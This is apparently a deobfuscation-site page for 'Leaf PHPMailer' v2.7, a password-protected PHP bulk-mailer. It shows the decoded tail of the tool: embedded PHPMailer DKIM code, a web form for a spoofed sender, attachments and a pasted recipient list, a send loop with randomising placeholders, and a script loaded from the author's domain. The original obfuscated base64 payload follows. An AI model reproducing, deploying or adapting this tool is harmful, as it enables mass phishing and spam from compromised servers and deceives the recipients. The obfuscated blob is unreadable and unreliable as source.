public function DKIM_BodyC($body)
{
if ($body == '') {
return "
";
}
// stabilize line endings
$body = str_replace("
", "
", $body);
$body = str_replace("
", "
", $body);
// END stabilize line endings
while (substr($body, strlen($body) - 4, 4) == "
") {
$body = substr($body, 0, strlen($body) - 2);
}
return $body;
}
/**
* Create the DKIM header and body in a new message header.
* @access public
* @param string $headers_line Header lines
* @param string $subject Subject
* @param string $body Body
* @return string
*/
public function DKIM_Add($headers_line, $subject, $body)
{
$DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
$DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
$DKIMquery = 'dns/txt'; // Query method
$DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
$subject_header = "Subject: $subject";
$headers = explode($this->LE, $headers_line);
$from_header = '';
$to_header = '';
$current = '';
foreach ($headers as $header) {
if (strpos($header, 'From:') === 0) {
$from_header = $header;
$current = 'from_header';
} elseif (strpos($header, 'To:') === 0) {
$to_header = $header;
$current = 'to_header';
} else {
if (!empty($$current) && strpos($header, ' =?') === 0) {
$$current .= $header;
} else {
$current = '';
}
}
}
$from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
$to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
$subject = str_replace(
'|',
'=7C',
$this->DKIM_QP($subject_header)
); // Copied header fields (dkim-quoted-printable)
$body = $this->DKIM_BodyC($body);
$DKIMlen = strlen($body); // Length of body
$DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
if ('' == $this->DKIM_identity) {
$ident = '';
} else {
$ident = ' i=' . $this->DKIM_identity . ';';
}
$dkimhdrs = 'DKIM-Signature: v=1; a=' .
$DKIMsignatureType . '; q=' .
$DKIMquery . '; l=' .
$DKIMlen . '; s=' .
$this->DKIM_selector .
";
" .
" t=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";
" .
" h=From:To:Subject;
" .
" d=" . $this->DKIM_domain . ';' . $ident . "
" .
" z=$from
" .
" |$to
" .
" |$subject;
" .
" bh=" . $DKIMb64 . ";
" .
" b=";
$toSign = $this->DKIM_HeaderC(
$from_header . "
" .
$to_header . "
" .
$subject_header . "
" .
$dkimhdrs
);
$signed = $this->DKIM_Sign($toSign);
return $dkimhdrs . $signed . "
";
}
/**
* Detect if a string contains a line longer than the maximum line length allowed.
* @param string $str
* @return boolean
* @static
*/
public static function hasLineLongerThanMax($str)
{
//+2 to include CRLF line break for a 1000 total
return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
}
/**
* Allows for public read access to 'to' property.
* @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
* @access public
* @return array
*/
public function getToAddresses()
{
return $this->to;
}
/**
* Allows for public read access to 'cc' property.
* @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
* @access public
* @return array
*/
public function getCcAddresses()
{
return $this->cc;
}
/**
* Allows for public read access to 'bcc' property.
* @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
* @access public
* @return array
*/
public function getBccAddresses()
{
return $this->bcc;
}
/**
* Allows for public read access to 'ReplyTo' property.
* @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
* @access public
* @return array
*/
public function getReplyToAddresses()
{
return $this->ReplyTo;
}
/**
* Allows for public read access to 'all_recipients' property.
* @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
* @access public
* @return array
*/
public function getAllRecipientAddresses()
{
return $this->all_recipients;
}
/**
* Perform a callback.
* @param boolean $isSent
* @param array $to
* @param array $cc
* @param array $bcc
* @param string $subject
* @param string $body
* @param string $from
*/
protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
{
if (!empty($this->action_function) && is_callable($this->action_function)) {
$params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
call_user_func_array($this->action_function, $params);
}
}
}
/**
* PHPMailer exception handler
* @package PHPMailer
*/
class phpmailerException extends Exception
{
/**
* Prettify error message output
* @return string
*/
public function errorMessage()
{
$errorMsg = '<strong>' . $this->getMessage() . "</strong><br />
";
return $errorMsg;
}
}
print '
<head>
<title>Leaf PHPMailer</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.3.6/cosmo/bootstrap.min.css" rel="stylesheet" >
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>
<script src="https://leafmailer.pw/style.js"></script>
</head>';
print '<body>';
print '<div class="container col-lg-6">
<h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
<form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
<div class="row">
<div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
<div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
</div>
<div class="row">
<span class="form-group col-lg-6 "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>
<div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
</div>
<div class="row">
<div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
</div>
<div class="row">
<div class="form-group col-lg-6"><label for="messageLetter">Message Letter</label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
<div class="form-group col-lg-6 "><label for="emailList">Email List</label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
</div>
<div class="row">
<div class="form-group col-lg-6 ">
<label for="messageType">Message Type</label>
HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
</div>
<div class="form-group col-lg-3 ">
<label for="encode">Encode Type</label>
<select class="form-control input-sm" id="encode" name="encode">
<option value="UTF-8" selected>UTF-8 Encode</option>
<option value="UTF-8">ISO Encode</option>
</select>
</div>
</div>
<button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button>
</form>
</div>
<div class="col-lg-6"><br>
<label for="well">Instruction</label>
<div id="well" class="well well">
<h4>Server Information</h4>
<ul>
<li>ServerIP : <b>'.$_SERVER['SERVER_ADDR'].'</b></li>
</ul>
<h4>HELP</h4>
<ul>
<li>[-email-] : <b>Reciver Email</b></li>
<li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
<li>[-emailuser-] : <b>Email User</b> (emailuser@emaildomain)</li>
<li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
<li>[-randomnumber-] : <b>Random number (0-9) </b></li>
<li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
<li>[-randommd5-] : <b>Random MD5 </b></li>
</ul>
<h4>example</h4>
Reciver Email = <b>[email protected]</b><br>
<ul>
<li>hello <b>[-emailuser-]</b> -> hello <b>user</b></li>
<li>your code is <b>[-randommd5-]</b> -> your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
</ul>
<h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
</div>
</div>';
if($_POST['action']=="send"){
print ' <div class="col-lg-12">';
$maillist=explode("
", $emailList);
$n=count($maillist);
$x =1;
foreach ($maillist as $email ) {
print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-5">'.$email.'</div>';
if(!leafMailCheck($email)) {
print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
print "<br>
";
}
else {
$mail = new PHPMailer;
$mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
$mail->addReplyTo(leafClear($replyTo,$email));
$mail->addAddress($email);
$mail->Subject = leafClear($subject,$email);
$mail->Body = leafClear($messageLetter,$email);
$mail->CharSet = $encode;
for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
if ($_FILES['attachment']['tmp_name'][$i] != ""){
$mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
}
}
if($messageType==1){$mail->IsHTML(true);}
else {$mail->IsHTML(false);}
if (!$mail->send()) {
echo '<div class="col-lg-6"><span class="label label-default">'.$mail->ErrorInfo.'</span></div>';
}
else {
echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
}
print "<br>
";
}
$x++;
for($k = 0; $k < 40000; $k++) {echo ' ';}
}
}
print '</body>';
Did this file decode correctly?
Original Code
<?php
/**
* Leaf PHP Mailer by [leafmailer.pw]
* @version : 2.7
**/
$password = "dajinx"; // Password
$code_='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